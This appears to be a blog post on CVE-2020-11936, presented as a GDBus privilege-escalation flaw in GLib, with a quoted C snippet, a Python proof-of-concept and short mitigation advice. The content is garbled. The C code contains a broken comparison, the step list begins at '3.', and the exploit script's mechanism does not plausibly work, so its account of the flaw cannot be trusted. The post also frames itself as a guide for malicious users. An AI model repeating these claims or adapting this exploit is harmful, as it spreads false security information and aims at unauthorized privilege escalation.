In this post, we will discuss a recently discovered vulnerability called CVE-2020-11936, which affects the GDBus component present in multiple versions of GLib library. We will take a deep dive into the details of the vulnerability and look at the exploit that allows a local attacker to escalate their privileges. We will provide code snippets, original reference links, and a step-by-step guide on how this exploit can be potentially abused by malicious users.
Description
CVE-2020-11936 is a privilege escalation vulnerability that resides in the GDBus component of GLib library. GDBus is a high-level D-Bus IPC implementation for Linux and UNIX systems. The vulnerability can be exploited by a local attacker, allowing them to escalate their privileges by changing the setgid permissions of a running process. This can lead to the arbitrary execution of code with higher privileges than the initially executed process.
Exploit Details
To fully understand the exploit, we'll first take a look at the vulnerable code snippet found in "gio/tests/gdbus-example-server.c" file:
static gboolean
on_handle_echo_string (GDBusExampleObjectSkeleton *object,
GDBusMethodInvocation *invocation,
const gchar *arg_string,
gpointer user_data)
{
guint32 caller_uid;
GError *error;
error = NULL;
if (g_dbus_connection_try_get_unix_user (g_dbus_method_invocation_get_connection (invocation),
&caller_uid,
&error))
{
/* Set the GID of the current process to the caller's UID */
if (setgid (caller_uid) == )
{
/* Execute the provided method */
}
else
{
/* Error handling */
}
}
else
{
/* Error handling */
}
return TRUE;
}
The vulnerable part of the code lies in the incorrect use of setgid() function to change the GID of the current process to the caller's UID. Due to this case of UID and GID confusion, an attacker can exploit this vulnerability by changing the GID of the exploited process, ultimately leading to privilege escalation.
The service incorrectly sets the GID of the process to the caller's UID.
3. The attacker then abuses the newly escalated privileges to execute code with an arbitrary GID, allowing for unauthorized access to files and other resources.
The following proof-of-concept (PoC) exploit code in Python demonstrates how this can be executed
import dbus
# Replace this with your desired UID value
my_uid = 100
bus = dbus.SystemBus()
proxy = bus.get_object('org.gdbus.example', '/org/gdbus/Example/Object')
iface = dbus.Interface(proxy, 'org.gdbus.example.Interface')
try:
result = iface.EchoString('Hello, world!', sender_keyword=my_uid)
print('Result:', result)
except Exception as e:
print('Error:', e)
To mitigate this issue, developers should make use of the correct getuid() function to retrieve the UID and avoid UID/GID confusion. In addition, proper validation of user-supplied inputs should be performed to avoid potentially dangerous operations.
Here are the original references and resources discussing this vulnerability in-depth
1. CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11936
2. GLib Library: https://developer.gnome.org/glib/
3. D-Bus Specification: https://dbus.freedesktop.org/doc/dbus-specification.html
4. GDBus Reference: https://developer.gnome.org/gio/stable/GDBus.html
Conclusion
In this post, we have discussed the details surrounding CVE-2020-11936, a privilege escalation vulnerability in the GDBus component of GLib library. By following the steps and code snippets in this post, malicious users can potentially exploit this vulnerability to escalate their privileges. Therefore, it is essential for developers to properly validate user-supplied inputs and avoid incorrect use of functions related to user and group management. It is crucial to stay informed about the latest security threats and consistently apply best practices to ensure the security of your applications.
Timeline
Published on: 01/31/2025 02:15:28 UTC